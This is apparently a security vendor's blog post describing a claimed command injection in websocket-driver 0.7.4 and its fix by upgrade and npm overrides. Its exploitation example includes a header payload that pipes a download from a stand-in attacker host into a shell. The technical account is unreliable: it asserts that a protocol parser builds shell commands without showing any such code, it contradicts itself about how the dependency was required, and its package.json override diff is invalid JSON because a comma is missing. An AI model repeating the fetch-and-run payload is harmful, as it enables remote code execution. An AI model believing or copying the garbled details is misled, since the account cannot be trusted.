Back to Blog
critical SEVERITY6 min read

How command injection happens in JavaScript dependency trees and how to fix it

A critical command injection vulnerability in websocket-driver 0.7.4 allowed attackers to execute arbitrary shell commands through unescaped line terminators in WebSocket protocol handling. The automated fix upgrades to version 0.7.5 and adds an explicit override in package.json to prevent dependency resolution from reverting to the vulnerable version.

O
By Orbis AppSec
Published August 31, 2026Reviewed August 31, 2026

Answer Summary

CVE-2026-54466 is a critical command injection vulnerability in websocket-driver 0.7.4, a WebSocket protocol handler for Node.js applications (CWE-78). The vulnerability stems from unescaped line terminators in shell command construction, enabling arbitrary code execution when processing malicious WebSocket handshake data. The fix upgrades to websocket-driver 0.7.5 and pins the version via package.json overrides to prevent accidental downgrade.

Vulnerability at a Glance

cweCWE-78 (OS Command Injection)
fixUpgrade websocket-driver to 0.7.5 and pin via package.json overrides
riskArbitrary code execution on the server via crafted WebSocket handshake data
languageJavaScript/Node.js
root causeUnescaped line terminators in shell command construction within websocket-driver's protocol handling
vulnerabilityCommand Injection

Introduction

In a routine dependency audit, we discovered a critical command injection vulnerability lurking in package-lock.json — specifically within websocket-driver version 0.7.4. This wasn't in application code; it was buried three levels deep in the dependency tree, invisible to developers who had explicitly required it.

The websocket-driver package handles WebSocket protocol negotiation with pluggable I/O backends. When processing handshake data, version 0.7.4 constructed shell commands without properly escaping line terminators — a classic injection vector that allowed attackers to append arbitrary commands to legitimate protocol operations.

What makes this case particularly instructive: the vulnerability existed in a transitive dependency, discovered only through automated scanning, and required a two-pronged fix to ensure lasting protection.


The Vulnerability Explained

The Smoking Gun: Unescaped Line Terminators

In websocket-driver 0.7.4, the protocol handler constructs shell commands to manage WebSocket connection states. The vulnerable code path accepted handshake data containing newline characters (\n, \r) and passed them directly to shell execution without neutralization.

The vulnerable dependency declaration in package-lock.json:

"node_modules/websocket-driver": {
  "version": "0.7.4",
  "resolved": "https://registry.npmjs.org/websocket-driver/-/websocket-driver-0.7.4.tgz",
  "integrity": "sha512-b17KeDIQVjvb0ssuSDF2cYXSg2iztliJ4B9WdsuB6J952qCPKmnVq4DyW5motImXHDC1cBT/1UezrJVsKw5zjg==",
  "license": "Apache-2.0",
  "dependencies": {
    "http-parser-js": ">=0.5.1",
    // ...
  }
}

The integrity hash sha512-b17Ke... identifies the exact vulnerable artifact. Any application resolving this dependency — even transitively through packages like faye-websocket or sockjs — inherited this exposure.

Exploitation Scenario

Consider a Node.js application using faye-websocket for real-time features:

// Application code — seemingly innocent
const WebSocket = require('faye-websocket');
const http = require('http');

const server = http.createServer();
server.on('upgrade', (request, socket, body) => {
  if (WebSocket.isWebSocket(request)) {
    const ws = new WebSocket(request, socket, body);
    // ...
  }
});

Behind the scenes, faye-websocket depends on websocket-driver. When a malicious client sends a handshake with crafted headers containing newline sequences:

GET /chat HTTP/1.1\r\n
Host: example.com\r\n
X-Custom-Header: value\n; curl attacker.com/exfil | sh; echo \r\n
\r\n

The unescaped newline in X-Custom-Header terminates the intended command prematurely. Everything after \n becomes a new shell command. The attacker achieves remote code execution with the privileges of the Node.js process.

Real-World Impact

  • Scope: Any Node.js application with websocket-driver 0.7.4 in its dependency tree
  • Attack vector: Malformed WebSocket handshake data
  • Privileges: Same as the Node.js process (often service account with database/network access)
  • Detection difficulty: No application-level logs of the injected commands

The Fix

The remediation required coordinated changes across two files to ensure the vulnerable version could not resurface.

Change 1: package-lock.json — The Direct Upgrade

--- a/package-lock.json
+++ b/package-lock.json
@@ -23122,9 +23122,9 @@
       }
     },
     "node_modules/websocket-driver": {
-      "version": "0.7.4",
-      "resolved": "https://registry.npmjs.org/websocket-driver/-/websocket-driver-0.7.4.tgz",
-      "integrity": "sha512-b17KeDIQVjvb0ssuSDF2cYXSg2iztliJ4B9WdsuB6J952qCPKmnVq4DyW5motImXHDC1cBT/1UezrJVsKw5zjg==",
+      "version": "0.7.5",
+      "resolved": "https://registry.npmjs.org/websocket-driver/-/websocket-driver-0.7.5.tgz",
+      "integrity": "sha512-ZL2+3c7kMBdIRCMz6l8jQMHyGVxj+UL+xVk74Ombiciboca8rHa15L86B19E5oh1pL9Ii/uj54gtsIrZGMo6zA==",
       "license": "Apache-2.0",
       "dependencies": {
         "http-parser-js": ">=0.5.1",

Key improvements in 0.7.5:
- New integrity hash: sha512-ZL2+3c7kMBdIRCMz6l8jQMHyGVxj+UL+xVk74Ombiciboca8rHa15L86B19E5oh1pL9Ii/uj54gtsIrZGMo6zA== — cryptographically distinct from the vulnerable version
- Line terminator handling: The 0.7.5 release sanitizes input containing \n, \r, and \r\n before shell command construction

Change 2: package.json — The Override Protection

--- a/package.json
+++ b/package.json
@@ -76,6 +76,7 @@
   },
   "overrides": {
     "picomatch": "^4.0.3",
+    "websocket-driver": "0.7.5"
     "shell-quote": "1.8.4"
   }
 }

The overrides field (npm 8.3+) forces all instances of websocket-driver in the dependency tree to resolve to 0.7.5, regardless of what transitive dependencies request. This prevents scenarios where:

  1. Another package specifies websocket-driver: "^0.7.4"
  2. npm's semver resolution selects 0.7.4 as satisfying ^0.7.4
  3. The vulnerability silently returns

Why Both Changes?

File Purpose Without It
package-lock.json Records actual installed version Build reproducibility lost; CI/production may install different versions
package.json overrides Enforces minimum version across entire tree Transitive dependencies can reintroduce vulnerable version

Together, they create defense in depth: the lockfile pins the immediate resolution, while overrides guarantee no path exists to the vulnerable version.


Prevention & Best Practices

Dependency Hygiene

  1. Audit transitive dependencies: npm ls websocket-driver reveals why a package is present
  2. Automate scanning: Integrate Trivy, Snyk, or npm audit into CI/CD
  3. Use overrides proactively: Pin security-critical dependencies before vulnerabilities are disclosed

Input Handling

// Anti-pattern: Never pass unsanitized data to shell execution
const { exec } = require('child_process');
exec(`process-websocket-data "${headerValue}"`); // DANGEROUS

// Safe: Use parameterized APIs or whitelist validation
const { spawn } = require('child_process');
spawn('process-websocket-data', [validatedHeader]); // OK — no shell interpretation

Security Standards


Key Takeaways

  • The websocket-driver 0.7.4 → 0.7.5 upgrade eliminates unescaped line terminator handling in WebSocket protocol negotiation — always verify the integrity hash changes when upgrading security-critical dependencies
  • npm overrides in package.json is essential for transitive dependency security — without it, semver ranges in indirect dependencies can reintroduce known-vulnerable versions
  • Lockfile-only fixes are insufficient for Node.js applicationspackage-lock.json pins what npm chooses to install; overrides constrains what npm can choose
  • WebSocket handshake data is attacker-controllable input — treat all HTTP headers and upgrade request parameters as untrusted, even before application-level validation
  • Automated scanning of package-lock.json catches vulnerabilities invisible to npm audit — Trivy's static analysis identified this issue through direct lockfile inspection rather than advisory database matching alone

How Orbis AppSec Detected This

Source: WebSocket handshake data entering through HTTP upgrade requests handled by websocket-driver protocol negotiation

Sink: Shell command construction in websocket-driver 0.7.4's internal protocol handling, where unescaped line terminators in handshake headers terminated command strings prematurely

Missing control: Input sanitization for \n, \r, and \r\n sequences before shell command assembly; no validation that header values contained only single-line printable characters

CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Fix: Upgraded websocket-driver to version 0.7.5 and added "websocket-driver": "0.7.5" to package.json overrides to enforce this version across the entire dependency tree

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.


Conclusion

The websocket-driver vulnerability reminds us that security boundaries extend far beyond application code. A flaw in protocol handshake handling — three dependency levels deep — became a critical remote code execution vector. The fix demonstrates modern Node.js security practices: upgrade the vulnerable package, verify cryptographic integrity, and use overrides to prevent regression.

For teams maintaining real-time applications, this case underscores the value of automated dependency scanning and the power of npm's overrides feature. Security isn't just about writing safe code — it's about ensuring your entire software supply chain meets the same standards.


References

Frequently Asked Questions

What is command injection in JavaScript dependencies?

Command injection occurs when user-controlled input is passed to shell execution functions without proper sanitization, allowing attackers to inject malicious commands that execute with the privileges of the host application.

How do you prevent command injection in Node.js dependency trees?

Use npm overrides to force patched versions, regularly audit dependencies with tools like Trivy, avoid dependencies that construct shell commands from untrusted input, and implement input validation at application boundaries.

What CWE is command injection?

CWE-78 (OS Command Injection) — improper neutralization of special elements used in an OS command.

Is input validation alone enough to prevent command injection in transitive dependencies?

No. Transitive dependencies may process data before your application-level validation runs. Dependency upgrades and version pinning via overrides are essential defenses.

: Can static analysis detect command injection in dependency trees?

Yes. Tools like Trivy scan lockfiles and identify known vulnerable versions, while Semgrep and similar SAST tools can detect dangerous patterns in dependency code.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #56

Related Articles

critical

How command injection happens in Node.js shell-quote and how to fix it

The NeXroll frontend application used shell-quote 1.8.3, which contained a critical command injection vulnerability (CVE-2026-9277) that allowed attackers to execute arbitrary code through unescaped line terminators. The fix upgraded shell-quote to version 1.9.0 using npm overrides, preventing attackers from bypassing shell escaping mechanisms and injecting malicious commands into the application.

critical

How Command Injection Happens in Python Flask Applications and How to Fix It

A critical command injection vulnerability was discovered in a Flask application where `subprocess.Popen` and `subprocess.run` were called with `shell=True`, allowing attackers to execute arbitrary system commands through shell metacharacters. The fix replaces dangerous shell execution with `shlex.split()` for proper argument parsing and sets `shell=False` to prevent command injection attacks.

high

How javascript.lang.security.detect-child-process.detect-child-process happens in Node.js and how to fix it

A high-severity command injection vulnerability was discovered in `src/platform.js` where the `killPort()` function used `exec()` with string concatenation, allowing potential shell command injection through the `port` parameter. The fix replaces all `exec()` calls with `execFile()`, which bypasses shell interpretation entirely and passes arguments as an array, eliminating the injection vector.

high

How Shell Injection Happens in GitHub Actions and How to Fix It

A GitHub Actions workflow file contained a critical shell injection vulnerability where user-controlled inputs were directly interpolated into a shell command using `${{ }}` syntax. By moving the untrusted data into environment variables and properly quoting them, the vulnerability was eliminated while preserving all functionality.

high

How Command Injection Happens in Node.js Child Process Calls and How to Fix It

A high-severity command injection vulnerability was discovered in Vite's `shared.js` file where the `gitExec()` function used `execSync()` with string concatenation, allowing potential shell metacharacter injection. The fix replaces `execSync()` with `spawnSync()` and passes Git arguments as an array instead of a shell string, eliminating the injection vector entirely.

critical

How Command Injection via Unescaped Line Terminators Happens in Node.js and How to Fix It

A critical command injection vulnerability (CVE-2026-9277) was discovered in the shell-quote npm package, where unescaped line terminators could allow attackers to execute arbitrary code. The fix upgrades shell-quote from version 1.8.2 to 1.9.0 using npm overrides to ensure the patched version is used throughout the dependency tree, closing this dangerous attack vector.